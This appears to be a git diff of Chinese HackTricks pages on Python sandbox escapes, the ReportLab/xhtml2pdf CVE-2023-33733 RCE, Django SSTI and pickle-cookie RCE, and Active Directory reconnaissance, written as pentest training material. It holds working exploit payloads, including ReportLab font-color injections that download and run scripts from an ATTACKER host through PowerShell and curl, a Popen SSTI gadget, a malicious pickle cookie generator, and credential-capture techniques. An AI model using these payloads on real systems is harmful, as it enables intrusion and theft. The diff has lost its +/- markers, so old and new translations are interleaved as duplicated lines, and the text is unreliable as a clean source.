> 在下面的示例中,我们将直接从函数的 code object 中获取重新创建该函数所需的所有数据。在一个 **真实的示例** 中,执行函数 **`code_type`** 所需的所有 **值** 就是 **你将需要 leak 的**
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -991,9 +991,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### 绕过防御
在本文开头的示例中,你可以看到 **如何使用 `compile` 函数执行任意 python 代码**。这很有趣,因为你可以在 **一行****执行整个脚本**,包括循环等(我们也可以用 **`exec`** 达到同样效果)。\\\不过,有时在本地机器上**创建**一个**已编译对象**并在**CTF 机器**上执行会很有用(例如因为我们在 CTF 中没有 `compiled` 函数)。
在本帖开头的示例中,你可以看到 **如何使用 `compile` 函数执行任意 python 代码**。这很有趣,因为你可以把带循环和所有内容的 **完整脚本****一行代码** 中执行(我们也可以用 **`exec`** 达到同样效果)。\
无论如何,有时在本地机器上 **创建** 一个 **已编译对象** 并在 **CTF machine** 上执行会很有用(例如因为在 CTF 上没有 `compiled` 函数)。
例如,下面我们手动编译并执行一个读取 _./poc.py_ 的函数:
例如,我们手动编译并执行一个读取 _./poc.py_ 的函数:
```python
#Locally
def read():
@ -1020,7 +1021,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
如果无法访问 `eval``exec`,你可以创建一个**正确的函数**,但直接调用它通常会因为_constructor not accessible in restricted mode_ 而失败。因此你需要一个**不在受限环境中的函数来调用函数。**
如果无法访问 `eval``exec`,你可以创建一个**真正的函数**,但直接调用它通常会失败,提示_constructor not accessible in restricted mode_。因此你需要一个**不在受限环境中的函数来调用这个函数。**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1032,19 +1033,19 @@ f(42)
使用像 [**https://www.decompiler.com/**](https://www.decompiler.com) 这样的工具,可以**反编译**给定的已编译 python 代码。
**查看教程**
**查看教程**
{{#ref}}
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
{{#endref}}
## 杂项 Python
## 其他 Python
### Assert
以参数 `-O` 在优化模式下执行的 Python 会移除 `assert` 语句以及任何基于 **debug** 值的条件代码。\
因此,像下面这样的检查
使用 `-O` 参数以优化模式执行的 Python 会移除 assert 语句以及任何基于 **debug** 值的条件代码。\
因此,类似以下的检查:
```python
def check_permission(super_user):
try:

View File

@ -1,79 +1,79 @@
# ReportLab/xhtml2pdf [[[...]]] 表达式求值 RCE (CVE-2023-33733)
# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
{{#include ../../../banners/hacktricks-training.md}}
本页记录了一个在 ReportLab 的 rl_safe_eval 中的实用沙箱逃逸和 RCE 原语,该函数被 xhtml2pdf 及其他将用户可控 HTML 渲染为 PDF 的流水线所使用。
本页记录了在 ReportLab 的 rl_safe_eval 中发现的一个实用沙箱逃逸与 RCE 原语,该函数被 xhtml2pdf 和其他 PDF 生成流水线在将用户控制的 HTML 渲染为 PDF 时使用。
CVE-2023-33733 影响 ReportLab 直到并包括 3.6.12 版本。在某些属性上下文(例如 color包裹在三重方括号 [[[ ... ]]] 的值会被 rl_safe_eval 在服务器端求值。通过构造一个从被列入白名单的 builtinpow枢纽到其 Python 函数 globals 的有效负载,攻击者可以到达 os 模块并执行命令。
CVE-2023-33733 影响 ReportLab 直到并包括 3.6.12 版本。在某些属性上下文(例如 color被三重方括号 [[[ ... ]]] 包裹的值会被 rl_safe_eval 在服务器端求值。通过构造一个从白名单内置函数 (pow) 转向其 Python 函数 globals 的载荷,攻击者可以访问到 os 模块并执行命令。
关键
- 触发:向由 ReportLab/xhtml2pdf 解析的标记中被求值的属性(例如 <font color="...">)注入 [[[ ... ]]]
- 沙箱rl_safe_eval 会替换危险的 builtins但已求值的函数仍然暴露 __globals__
- 绕过:构造一个瞬态类 Word 来绕过 rl_safe_eval 的名称检查并访问字符串 "__globals__",同时避免被阻止的 dunder 过滤
- 触发:在由 ReportLab/xhtml2pdf 解析的标记中,将 [[[ ... ]]] 注入到被求值的属性(如 <font color="...">)中
- 沙箱rl_safe_eval 会替换危险的 builtin,但被求值的函数仍然暴露 __globals__
- 绕过:构造一个临时类 Word 来绕过 rl_safe_eval 的名称检查并在不触及被阻止的双下划线过滤的情况下访问字符串 "__globals__"。
- RCEgetattr(pow, Word("__globals__"))["os"].system("<cmd>")
- 稳定性:执行后为属性返回一个有效值(对于 color使用 and 'red')。
- 稳定性:执行后返回一个该属性的有效值(对于 color使用 and 'red')。
测试时机
- 暴露 HTML-to-PDF 导出(用户资料、发票、报告)并在 PDF 元数据或 HTTP 响应注释中显示 xhtml2pdf/ReportLab 的应用
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
- PDF 的 HTTP 响应通常以 ReportLab 的 generator 注释开头
何时测试
- 向 HTML 转 PDF 导出(例如 profile、invoice、report开放的应用并且在 PDF 元数据或 HTTP 响应注释中显示 xhtml2pdf/ReportLab。
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → 出现 "xhtml2pdf" producer
- PDF 的 HTTP 响应通常以 ReportLab 的生成器注释开头
沙箱绕过工作原理
- rl_safe_eval 删除或替换了许多 builtingetattr, type, pow, ...)并对名称应用过滤以拒绝以 __ 开头或在 denylist 中的属性。
- 然而,安全函数存在于可被访问的 func.__globals__ 的 globals 字典中。
- 使用 type(type(1)) 恢复真实的内 type 函数(绕过 ReportLab 的包装),然后定义一个从 str 派生的 Word 类并改比较行为,使得:
沙箱绕过原理
- rl_safe_eval 会移除或替换许多内置函数getattr、type、pow 等),并对名称应用过滤以拒绝以 __ 开头或在拒绝列表中的属性。
- 然而,被允许的函数仍然位于可通过 func.__globals__ 访问的 globals 字典中。
- 使用 type(type(1)) 恢复真实的内 type 函数(绕过 ReportLab 的包装),然后定义一个从 str 派生的 Word 类并改比较行为,使得:
- .startswith('__') → 始终 False绕过 name startswith('__') 检查)
- .__eq__ 在第一次比较时返回 False绕过 denylist 成员检查),之后返回 True使 Python getattr 工作)
- .__eq__ 在第一次比较时返回 False绕过 denylist 成员检查),之后返回 True使 Python getattr 工作)
- .__hash__ 等于 hash(str(self))
- 这样getattr(pow, Word('__globals__')) 返回被包装 pow 函数的 globals 字典,其中包含导入的 os 模块。然后:['os'].system('<cmd>')。
- 这样getattr(pow, Word('__globals__')) 返回被包装 pow 函数的 globals 字典,其中包含导入的 os 模块。然后:['os'].system('<cmd>')。
最小利用模式(属性示例)
有效负载放在被求值的属性中,并确保通过布尔与 'red' 返回一个有效的属性值。
最小利用模式(属性示例)
载荷放在被求值的属性中,并确保通过 boolean 和 'red' 返回一个有效的属性值。
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
- 列表推导式形式允许单一表达式被 rl_safe_eval 接受
- 尾的 and 'red' 返回一个有效的 CSS 颜色,使渲染不出错
- 列表推导式形式允许一个被 rl_safe_eval 接受的单表达式
- 尾的 and 'red' 返回一个有效的 CSS 颜色,从而不会破坏渲染
- 根据需要替换命令;使用 ping 并配合 tcpdump 验证执行。
操作流程
1) 识别 PDF 生成器
1) 确认 PDF 生成器
- PDF Producer 显示 xhtml2pdfHTTP 响应包含 ReportLab 注释。
2) 找到被反射到 PDF 的输入(例如资料简介/描述)并触发导出。
3) 使用低噪声 ICMP 验证执行
2) 找到被反射到 PDF 的输入(例如 profile bio/description并触发导出。
3) 使用低噪声 ICMP 验证执行
- 运行sudo tcpdump -ni <iface> icmp
- 有效负载:... system('ping <your_ip>') ...
- Windows 通常默认发送恰好四个 echo 请求。
- 载... system('ping <your_ip>') ...
- Windows 默认通常发送恰好四个 echo 请求。
4) 建立 shell
- 对于 Windows可靠的两阶段方法可以避免引用/编码问题:
- 阶段 1下载
- Stage 1 (download):
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- 阶段 2执行
- Stage 2 (execute):
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- 对于 Linux 目标,可以使用类似的 curl/wget 两阶段
- 对于 Linux 目标,可以使用类似的两阶段 curl/wget
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
注意事项和提示
- 属性上下文color 是已知的被求值属性ReportLab 标记中的其他属性也可能会求值。如果某个位置被消毒,尝试渲染到 PDF 流中的其他位置(不同字段、表格样式等)。
- 引用:保持命令简洁。两阶段下载大大减少引用和转义的问题。
- 可靠性:如果导出被缓存或排队,稍微改变有效负载(例如随机路径或查询)以避免命中缓存。
说明与提示
- 属性上下文color 是已知的被求值属性ReportLab 标记中的其他属性也可能求值。如果某个位置被过滤,尝试 PDF 流中渲染的其他位置(不同字段、表格样式等)。
- 引号处理:保持命令简洁。两阶段下载可以大大减少引用和转义问题。
- 可靠性:如果导出被缓存或排队,稍微改变载(例如随机路径或查询)以避免命中缓存。
缓解与检测
- 升级 ReportLab 至 3.6.13 或更高版本CVE-2023-33733 已修复)。同时关注发行版包的安全公告。
- 不要在未经严格清理的情况下将用户可控的 HTML/标记直接输入到 xhtml2pdf/ReportLab。对于不受信任的输入移除/拒绝 [[[...]]] 求值构造和厂商特定标签。
- 考虑对不受信任输入完全禁用或包装 rl_safe_eval 的使用。
- 在 PDF 生成期间监视可疑的出站连接(例如导出文档时应用服务器发出的 ICMP/HTTP
- 不要在未严格消毒的情况下将用户控制的 HTML/标记直接输入到 xhtml2pdf/ReportLab。对不受信的输入移除/禁止 [[[...]]] 求值结构和厂商特定标签。
- 考虑对不受信的输入完全禁用或封装 rl_safe_eval 的使用。
- 监控在 PDF 生成期间来自应用服务器的可疑出站连接(例如导出文档时的 ICMP/HTTP
参考资料
- PoC 与技术分析: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
- 0xdf University HTB write-up真实世界利用Windows 两阶段有效负载):[HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
- NVD 条目(受影响版本):[CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
- xhtml2pdf 文档(标记/页面 概念):[xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
参考
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -3,42 +3,42 @@
{{#include ../../banners/hacktricks-training.md}}
## Cache Manipulation to RCE
Django 的默认缓存存储方式是 [Python pickles](https://docs.python.org/3/library/pickle.html),如果对 [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) 可能导致 RCE。**如果攻击者能够获得对缓存的写权限,他们可以将此漏洞升级为对底层服务器的 RCE。**
Django 的默认缓存存储方式是 [Python pickles](https://docs.python.org/3/library/pickle.html),如果对 [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf),可能导致 RCE。**如果攻击者能够获得对缓存的写访问,他们可以将此漏洞升级为对底层服务器的 RCE。**
Django 的缓存存储在四种地方之一:[Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12)[memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16)[files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16),或一个 [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)。存储在 Redis 或 database 的缓存是最可能的攻击向量Redis 注入和 SQL 注入),但攻击者也可能利用基于文件的缓存将任意写转为 RCE。维护者已将此标记为非问题。需要注意的是缓存文件夹、SQL 表名和 Redis 服务的详细信息会根据实现而变化
Django cache is stored in one of four places: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). 存储在 Redis 服务器或数据库中的缓存是最可能的攻击向量Redis injection 和 SQL injection),但攻击者也可能利用基于文件的缓存将任意写转为 RCE。维护者已将此标记为非问题。需要注意的是缓存文件夹、SQL 表名和 Redis 服务器的具体信息会根据实现而不同
这份 HackerOne 报告提供了一个很好的、可重现的示例,展示了如何利用存储在 SQLite database 中的 Django 缓存:https://hackerone.com/reports/1415436
This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436
---
## Server-Side Template Injection (SSTI)
The Django Template Language (DTL) 是 **图灵完备** 的。如果将用户提供的数据以 *template string* 的形式渲染(例如通过调用 `Template(user_input).render()`,或当 `|safe`/`format_html()` 去除了自动转义时),攻击者可能实现完整的 SSTI → RCE。
The Django Template Language (DTL) 是 **图灵完备** 的。如果用户提供的数据被作为 *template string* 渲染(例如通过调用 `Template(user_input).render()`,或当 `|safe`/`format_html()` 取消自动转义时),攻击者可能实现完整的 SSTI → RCE。
### 检测
1. 查找 `Template()` / `Engine.from_string()` / `render_to_string()` 的动态调用,这些调用包含 *任何* 未消毒的请求数据
### Detection
1. 查找包含 *任何* 未清洗请求数据的动态调用 `Template()` / `Engine.from_string()` / `render_to_string()`
2. 发送基于时间或算术的 payload
```django
{{7*7}}
```
如果渲染输出包含 `49`,则输入被模板引擎编译。
如果渲染输出包含 `49`,则表明输入被模板引擎编译。
### 通往 RCE 的原语
Django 阻止了对 `__import__` 的直接访问,但 Python 对象图是可以到达的:
### 升级到 RCE 的原语
Django 阻止了对 `__import__` 的直接访问,但 Python 对象图是可访问的:
```django
{{''.__class__.mro()[1].__subclasses__()}}
```
找到 `subprocess.Popen` 的索引(取决于 Python 构建,大约 400500并执行任意命令:
找到 `subprocess.Popen` 的索引(约 400500取决于 Python 构建)并执行任意命令:
```django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
```
更安全的通用 gadget 是迭代直到 `cls.__name__ == 'Popen'`
一个更安全的通用 gadget 是迭代直到 `cls.__name__ == 'Popen'`
相同的 gadget 也适用于 **Debug Toolbar****Django-CMS** 的模板渲染功能,这些功能不当处理用户输入时
相同的 gadget 也适用于**Debug Toolbar**或**Django-CMS**中错误处理用户输入的模板渲染功能
---
### 另见ReportLab/xhtml2pdf PDF export RCE
基于 Django 的应用通常集成 xhtml2pdf/ReportLab 来将视图导出为 PDF。当受用户控制的 HTML 流入 PDF 生成时rl_safe_eval 可能会评估三重括号 `[[[ ... ]]]` 内的表达式,从而允许代码执行 (CVE-2023-33733)。详情、payloads 和缓解措施
### 另见ReportLab/xhtml2pdf PDF 导出 RCE
基于 Django 的应用通常集成 xhtml2pdf/ReportLab 来将视图导出为 PDF。当受用户控制的 HTML 流入 PDF 生成时rl_safe_eval 可能会评估三重括号 `[[[ ... ]]]` 内的表达式,从而允许代码执行CVE-2023-33733。详细信息、payloads 和缓解方法
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -46,14 +46,14 @@ Django 阻止了对 `__import__` 的直接访问,但 Python 对象图是可以
---
## Pickle-Backed Session Cookie RCE
If the setting `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` is enabled (or a custom serializer that deserialises pickle), Django *decrypts and unpickles* the session cookie **before** calling any view code. Therefore, possessing a valid signing key (the project `SECRET_KEY` by default) is enough for immediate remote code execution.
## 基于 Pickle 的会话 Cookie RCE
如果设置 `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` 被启用(或使用会反序列化 pickle 的自定义序列化器Django 会在调用任何视图代码之前对会话 cookie 进行*解密并反序列化 (unpickle)*。因此,拥有有效的签名密钥(默认情况下为项目的 `SECRET_KEY`)就足以立即实现远程代码执行。
### Exploit Requirements
### 利用要求
* 服务器使用 `PickleSerializer`
* 攻击者知道 / 能猜到 `settings.SECRET_KEY`leaks via GitHub、`.env`、错误页面等)。
* 攻击者知道能猜到 `settings.SECRET_KEY`leaks via GitHub、`.env`、错误页面等)。
### Proof-of-Concept
### 概念验证
```python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
@ -67,22 +67,22 @@ return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
```
发送生成的 cookiepayload 以 WSGI worker 的权限运行。
发送生成的 cookiepayload 就会以 WSGI worker 的权限运行。
**缓解措施**保持默认的 `JSONSerializer`,轮换 `SECRET_KEY`,并配置 `SESSION_COOKIE_HTTPONLY`
**缓解措施**: 保持默认的 `JSONSerializer`,轮换 `SECRET_KEY`,并配置 `SESSION_COOKIE_HTTPONLY`
---
## 最近2023-2025对 Pentesters 有重大影响的 Django CVEs
* **CVE-2025-48432** *Log Injection via unescaped `request.path`* (已修复于 2025 年 6 月 4 日)。允许攻击者将换行符/ANSI 代码走私到日志文件中,并污染下游的日志分析。修补级别 ≥ 4.2.22 / 5.1.10 / 5.2.2
* **CVE-2024-42005** *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8)。通过构造 JSON 键来突破引号并执行任意 SQL。已在 4.2.15 / 5.0.8 中修复。
## 近期2023-2025Pentesters 应检查的高影响 Django CVE
* **CVE-2025-48432** *Log Injection via unescaped `request.path`* (fixed June 4 2025). 允许攻击者将换行符/ANSI codes 掺入日志文件并污染下游的日志分析。已在版本 ≥ 4.2.22 / 5.1.10 / 5.2.2 中修复
* **CVE-2024-42005** *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). 在 `JSONField` 上构造 JSON 键以跳出引号并执行任意 SQL。已在 4.2.15 / 5.0.8 中修复。
始终通过 `X-Frame-Options` 错误页面或 `/static/admin/css/base.css` 的哈希指纹来识别确切的框架版本,并在适用时测试上述问题。
始终通过 `X-Frame-Options` 错误页面或 `/static/admin/css/base.css` 哈希来指纹化精确的框架版本,并在适用时测试上述问题。
---
## 参考资料
* Django 安全公告 "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" 4 Jun 2025.
## References
* Django security release "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" 4 Jun 2025.
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" 11 Aug 2024.
* 0xdf: University (HTB) Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)

View File

@ -1,58 +1,58 @@
# Active Directory Methodology
# Active Directory 方法论
{{#include ../../banners/hacktricks-training.md}}
## 基本概述
**Active Directory** 是一项基础技术,使得 **network administrators** 能够高效地在网络中创建和管理 **domains**、**users** 和 **objects**。它被设计为可扩展,便于将大量用户组织为可管理的 **groups****subgroups**,并在不同层级控制 **access rights**。
**Active Directory** 是一种基础技术,使 **网络管理员** 能够在网络中高效地创建和管理 **域domains**、**用户users** 和 **对象objects**。它被设计为可扩展,便于将大量用户组织成可管理的 **组groups****子组subgroups**,并在多个层级上控制 **访问权access rights**。
**Active Directory** 的结构由三个主要层级组成:**domains**、**trees** 和 **forests**。一个 **domain** 包含一组对象(例如 **users****devices**),这些对象共享同一数据库。**Trees** 是这些 domains 的组合,具有共享的结构;**forest** 则是由多个 tree 通过 **trust relationships** 互联组成的最上层组织结构。可以在每个层级上指定特定的 **access****communication rights**。
**Active Directory** 的结构由三层主要层级组成:**域domains**、**树trees** 和 **林forests**。**域** 包含一组对象(例如 **用户****设备**),共享一个公共数据库。**树** 是由这些域按照共享结构连接而成的分组,**林** 则表示由多个树通过 **信任关系trust relationships** 相互连接形成的最高组织层级。可以在每个层级上指定特定的 **访问****通信权限**。
Active Directory 的关键概念包括:
1. **Directory** 与 Active Directory 对象相关的所有信息。
2. **Object** 指目录中的实体,包括 **users**、**groups** 或 **shared folders**。
3. **Domain** 于容纳目录对象的容器,一个 **forest** 中可以存在多个 domain每个 domain 保持其自己的对象集合。
4. **Tree** 共享根域的 domain 分组
5. **Forest** Active Directory 组织结构的顶层,由多个具有 **trust relationships** 的 trees 组成。
1. **Directory** 与 Active Directory 对象相关的所有信息。
2. **Object** 表示目录中的实体,包括 **用户**、**组** 或 **共享文件夹**。
3. **Domain** 作目录对象的容器,多个域可以共存于一个 **forest** 中,每个域维护自己的对象集合。
4. **Tree** 共享根域的一组域
5. **Forest** Active Directory 的最高组织结构,由多个具有 **信任关系** 的树组成。
**Active Directory Domain Services (AD DS)** 包含一系列对集中管理和网络内通信至关重要的服务。这些服务包括:
1. **Domain Services** 集中存储数据并管理 **users** 与 **domains** 之间的交互,包括 **authentication** **search** 功能。
1. **Domain Services** 集中存储数据并管理 **用户** 与 **域** 之间的交互,包括 **authentication** **search** 功能。
2. **Certificate Services** 负责创建、分发和管理安全的 **digital certificates**
3. **Lightweight Directory Services** 通过 **LDAP protocol** 支持目录启用的应用。
4. **Directory Federation Services** 提供 **single-sign-on** 功能,使用户可在单次会话中对多个 Web 应用进行认证。
5. **Rights Management** 通过控制未授权的分发和使用,协助保护版权材料。
6. **DNS Service** **domain name** 的解析至关重要。
3. **Lightweight Directory Services** 通过 **LDAP protocol** 支持启用目录的应用。
4. **Directory Federation Services** 提供 **single-sign-on** 能力,以在单次会话中对多个 web 应用进行认证。
5. **Rights Management** 帮助通过限制未经授权的分发和使用来保护版权材料。
6. **DNS Service** **domain names** 的解析至关重要。
For a more detailed explanation check: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
有关更详细的解释,请查看:[**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
### **Kerberos Authentication**
To learn how to **attack an AD** you need to **understand** really good the **Kerberos authentication process**.\
[**Read this page if you still don't know how it works.**](kerberos-authentication.md)
要学习如何 **attack an AD**,你需要非常理解 **Kerberos authentication process**\
[如果你还不知道它如何工作,请阅读此页。](kerberos-authentication.md)
## 速查表
你可以访问 [https://wadcoms.github.io/](https://wadcoms.github.io) 快速查看可用于枚举/利用 AD 的常用命令。
你可以访问 https://wadcoms.github.io/ 快速查看可用于枚举/利用 AD 的命令。
> [!WARNING]
> Kerberos communication **requires a full qualifid name (FQDN)** for performing actions. If you try to access a machine by the IP address, **it'll use NTLM and not kerberos**.
> Kerberos 通信在执行操作时**需要完全限定域名FQDN**。如果你尝试通过 IP 地址访问机器,**它将使用 NTLM 而不是 kerberos**。
## Recon Active Directory (No creds/sessions)
## 侦察 Active Directory (No creds/sessions)
如果你只对一个 AD 环境有访问权限,但没有任何凭据/会话,可以:
如果你只对 AD 环境有访问权限但没有任何凭证/会话,你可以:
- **Pentest the network:**
- 扫描网络,发现机器和开放端口,尝试 **exploit vulnerabilities****extract credentials**(例如,[printers could be very interesting targets](ad-information-in-printers.md))。
- 枚举 DNS 可以提供域内关键服务器的信息,如 web、printers、shares、vpn、media 等。
- 扫描网络,查找机器和开放端口,尝试 **exploit vulnerabilities****extract credentials**(例如,[打印机可能是非常有趣的目标](ad-information-in-printers.md))。
- 枚举 DNS 可以提供域内关键服务器的信息,如 web、打印机、shares、vpn、media 等。
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- 查看通用的 [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) 以获取更多如何执行这些操作的信息。
- **Check for null and Guest access on smb services**(这在现代 Windows 版本上通常不起作用):
- 查看通用的 [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) 以获取有关如何执行这些操作的更多信息。
- **检查 smb 服务上的 null 和 Guest 访问**(这在现代 Windows 版本上不起作用):
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
- 更详细的 SMB 枚举指南可在此找到
- 有关如何枚举 SMB 服务器的更详细指南,请参见
{{#ref}}
@ -61,7 +61,7 @@ To learn how to **attack an AD** you need to **understand** really good the **Ke
- **Enumerate Ldap**
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- 更详细的 LDAP 枚举指南可在此找到(对匿名访问需格外注意
- 有关如何枚举 LDAP 的更详细指南,请参见(请**特别注意匿名访问**
{{#ref}}
@ -69,21 +69,21 @@ To learn how to **attack an AD** you need to **understand** really good the **Ke
{{#endref}}
- **Poison the network**
- 通过 [**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 收集凭据。
- 通过 [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 访问主机
- 通过 **exposing** [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) 收集凭据。
- 通过 [**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 收集凭
- 通过 [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 访问主机
- 通过公开 [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) 收集凭
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- 从域环境内的内部文档、社交媒体、服务(主要是 web以及公开可用资源中提取用户名/姓名。
- 如果你找到了公司员工的完整姓名,可以尝试不同的 AD **username conventions**[**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)。最常见的命名规则有_NameSurname_、_Name.Surname_、_NamSur_各取 3 个字母、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 个随机字母加 3 个随机数字(如 abc123
- 从域环境内的内部文档、社交媒体、服务(主要是 web以及公开可用资源中提取用户名/姓名等信息
- 如果你找到了公司员工的完整姓名,可以尝试不同的 AD **username conventions**[**阅读此处**](https://activedirectorypro.com/active-directory-user-naming-convention/)。最常见的命名规则有_NameSurname_, _Name.Surname_, _NamSur_(各取 3 个字母_Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 以及 3 个随机字母加 3 个随机数字(abc123
- 工具:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
### 用户枚举
- **Anonymous SMB/LDAP enum:** 查 [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) 和 [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) 页面。
- **Kerbrute enum**: 当请求一个 **invalid username** 时,服务器会通过 **Kerberos error** 代码 _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ 响应,从而让我们判断该用户名无效。**Valid usernames** 会触发 AS-REP 中的 **TGT** 或返回错误 _KRB5KDC_ERR_PREAUTH_REQUIRED_指示该用户需要进行 pre-authentication
